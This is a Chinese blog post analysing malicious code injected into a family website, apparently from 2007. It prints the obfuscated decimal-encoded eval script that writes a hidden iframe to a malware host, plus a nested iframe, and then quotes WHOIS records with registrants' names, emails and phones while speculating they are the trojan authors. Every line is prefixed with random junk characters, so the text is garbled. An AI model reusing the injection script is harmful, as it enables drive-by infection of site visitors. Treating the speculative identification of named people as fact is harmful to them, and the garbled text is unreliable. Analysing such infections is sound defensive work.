首发在我的博客里面，
A.!V*1h{ 7>g^OE f http://www.areway.cn/?p=175 2BU%4IG Yy4? |wVl `YDe<@6' 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
I e#LZti MLL4nkO,` <script>t=’60,105,102,114,97,109,101,
tFvc~zz9 32,115,114,99,61,104,116,116,112,58,47,47,
A~CQ @ 102,114,101,101,46,117,45,117,117,117,46,99,
? jywW$ 110,47,101,114,114,111,114,46,104,116,109,
7/ "g}
F}Q 32,119,105,100,116,104,61,49,48,48,32,104,
D Hkmn 101,105,103,104,116,61,48,62,60,47,105,102,
MCOz-8@|Y 114,97,109,101,62′;
Mh04O@" t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
K<HF!YU#I2 1D42+cy <script>t=’60,105,102,114,97,109,101,32,115,
3Z * ' 114,99,61,104,116,116,112,58,47,47,102,114,
.=WsB@+ 101,101,46,117,45,117,117,117,46,99,110,47,
,[ To)x5o 101,114,114,111,114,46,104,116,109,32,119,
D\~*| J 105,100,116,104,61,49,48,48,32,104,101,105,
P"`OuN 103,104,116,61,48,62,60,47,105,102,114,97,
e}u# :ysj 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
niZ/yW{w document.write(t);</script>
Fm@G@W7,m k_rtsN <html xmlns=”
J?\z{ ;qa http://www.w3.org/1999/xhtml k%iZ .. “>
-kp! .c <head>
\vBpH'hR,' <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
(fc
/"B- <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
@za X\ <title>首页 - 爱生活家庭网
26fbBt8nP #`tn :cP 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
6vVx>hFJ47 转换字符串后的大概内容是（谁点击后果自付）：
2TN+ (B#Z! <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
`!?SA<a: i"}%ib*X 查询玉米u-uuu.cn的详细信息：
fqaysy Domain Name: u-uuu.cn
D2$"!7O1H ROID: 20070901s10001s64972306-cn
<<@vy{*Hg Domain Status: ok
\de82 4 Registrant Organization: 王雷
*5$$C&@o9 Registrant Name: 王雷
fL9R{=I% Administrative Email:
czlovexs@126.com nu {bEp Sponsoring Registrar: 北京万网志成科技有限公司
o (iN}. c Name Server:ns.yovole.com
@\,WJmW Name Server:ns1.yovole.com
$`:/O A<. Registration Date: 2007-09-01 17:54
^ c1%$@H Expiration Date: 2008-09-01 17:54
V 0 Ul` 最后PING了一下地址 都没有什么….
$gsn@P>" GdFTKOq 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
m^d Kww <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
$42C4I*E <script language=”javascript” src=”
]| oh1q http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script tcY bM+4e >
k^ 3|A3A 这个玉米应该有可能是木马作者的：
wv>uT{g# foafau.info的详细信息：
(\
`knsE! Access to INFO WHOIS information is provided to assist persons in
m2[q*k]AtS determining the contents of a domain name registration record in the
<r
(Y:2 Afilias registry database. The data in this record is provided by
[4:_6vd7X Afilias Limited for informational purposes only, and Afilias does not
$ QQv$ guarantee its accuracy. This service is intended only for query-based
=/@c9QaV B access. You agree that you will use this data only for lawful purposes
5_U3Fs and that, under no circumstances will you use this data to: (a) allow,
ar.w'z enable, or otherwise support the transmission by e-mail, telephone, or
HH[b1z2D facsimile of mass unsolicited, commercial advertising or solicitations
@`<v d@ to entities other than the data recipient’s own existing customers; or
)--v> *,V (b) enable high volume, automated, electronic processes that send
S r)rKc queries or data to the systems of Registry Operator, a Registrar, or
yBKkx@o#z Afilias except as reasonably necessary to register domain names or
8 UArl3 modify existing registrations. All rights reserved. Afilias reserves
Yr@) W~ the right to modify these terms at any time. By submitting this query,
rf"%D<bb you agree to abide by this policy.
O HeVm-VC Domain ID:D22418703-LRMS
MR$Bl"d Domain Name:FOAFAU.INFO
gTRm Created On:20-Nov-2007 16:05:42 UTC
Ob+L| FbnN Last Updated On:20-Nov-2007 16:05:44 UTC
)>q.!"B Expiration Date:20-Nov-2008 16:05:42 UTC
^\kv> WBE Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
2F(zHa Status:CLIENT DELETE PROHIBITED
V.Pb AN Status:CLIENT RENEW PROHIBITED
?C
Status:CLIENT TRANSFER PROHIBITED
Pb$ep| `u Status:CLIENT UPDATE PROHIBITED
;+XiDEX0} Status:TRANSFER PROHIBITED
;L.@4b[ lP Registrant ID:GODA-040110615
J2 _D P Registrant Name:liu hong
HVzG }r(J Registrant Organization:
$F EG0& Registrant Street1:beijing
5 KJN](x+ Registrant Street2:
x0wy3+GZc Registrant Street3:
CMa ~BOt # Registrant City:beijing
B g LK} p^ Registrant State/Province:
o
>bf7+D Registrant Postal Code:100000
L_uliBn Registrant Country:CN
~JY<DW7 Registrant Phone:+86.860108888777
c;l
d Registrant Phone Ext.:
ot P7;l Registrant FAX:
*G ot Registrant FAX Ext.:
R*I{?+ Registrant Email:bbbshiji@163.com
Ib AGnl { Admin ID:GODA-240110615
#imMkvx? Admin Name:liu hong
SEQ
bw](ss Admin Organization:
/7 X:=~m Admin Street1:beijing
EeWCy5W Admin Street2:
UX=JWb_uGm Admin Street3:
HgY"nrogt$ Admin City:beijing
:%q J AjR& Admin State/Province:
5S:#I5Wa Admin Postal Code:100000
M
H }4F Admin Country:CN
A<.`HCv2 Admin Phone:+86.860108888777
+.MHI Admin Phone Ext.:
6& 7#?/Lq Admin FAX:
l = % v Admin FAX Ext.:
{zhN>n_ Admin Email:bbbshiji@163.com
\:C@L&3[ Billing ID:GODA-340110615
Kxb_9y0`r Billing Name:liu hong
X<J
NwjM% Billing Organization:
O$+J{@ Billing Street1:beijing
rWI6L3,i+ Billing Street2:
hp6S *d
Billing Street3:
D 4^2F(YRX Billing City:beijing
Y(
n# = Billing State/Province:
'~A ~gK0 Billing Postal Code:100000
U}(*}Ut Billing Country:CN
RajzH2j+> Billing Phone:+86.860108888777
aB~?Y+m Billing Phone Ext.:
DWZ!B7Ts Billing FAX:
I$v* SeVHE Billing FAX Ext.:
aLTC#c%U Billing Email:bbbshiji@163.com
[_ESR/&N Tech ID:GODA-140110615
C0; c'4( Tech Name:liu hong
7u-o7#,X2 Tech Organization:
=xFw4 D9 Tech Street1:beijing
A?'Tigi Tech Street2:
QcG4~DEX4 Tech Street3:
($&i\e31N Tech City:beijing
1I^[_ /_\y Tech State/Province:
VqLqj$P Tech Postal Code:100000
z
7OTL<h Tech Country:CN
]Ow
A>fb Tech Phone:+86.860108888777
K1 a$
m2 Tech Phone Ext.:
HkFo y y Tech FAX:
-L(F:
Tech FAX Ext.:
sF}T9 Ue Tech Email:bbbshiji@163.com
HYf&0LT<11 Name Server:NS27.DOMAINCONTROL.COM
a=\r~Z7E Name Server:NS28.DOMAINCONTROL.COM
p7}x gUxX Name Server:
DE:FWD<} Name Server:
<7cm[ Name Server:
n#,|C`2r Name Server:
Z?Y14L~% Name Server:
rI) op1K Name Server:
lO>w|=< Name Server:
}$r/#F/Fn Name Server:
yZ=wT,Y Name Server:
.4pWyqU)! Name Server:
&m_4# Name Server:
u {maE , .~qu,q7k~ 接着下载每个文件里面的代码：
3G|n `dj 一步一步看..
^ 6`"f 
pTPWToKh 
JlJy3L8L 
FP =%e]vJ 
8V@ /h6-e, 
H 'Q4 IRT 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
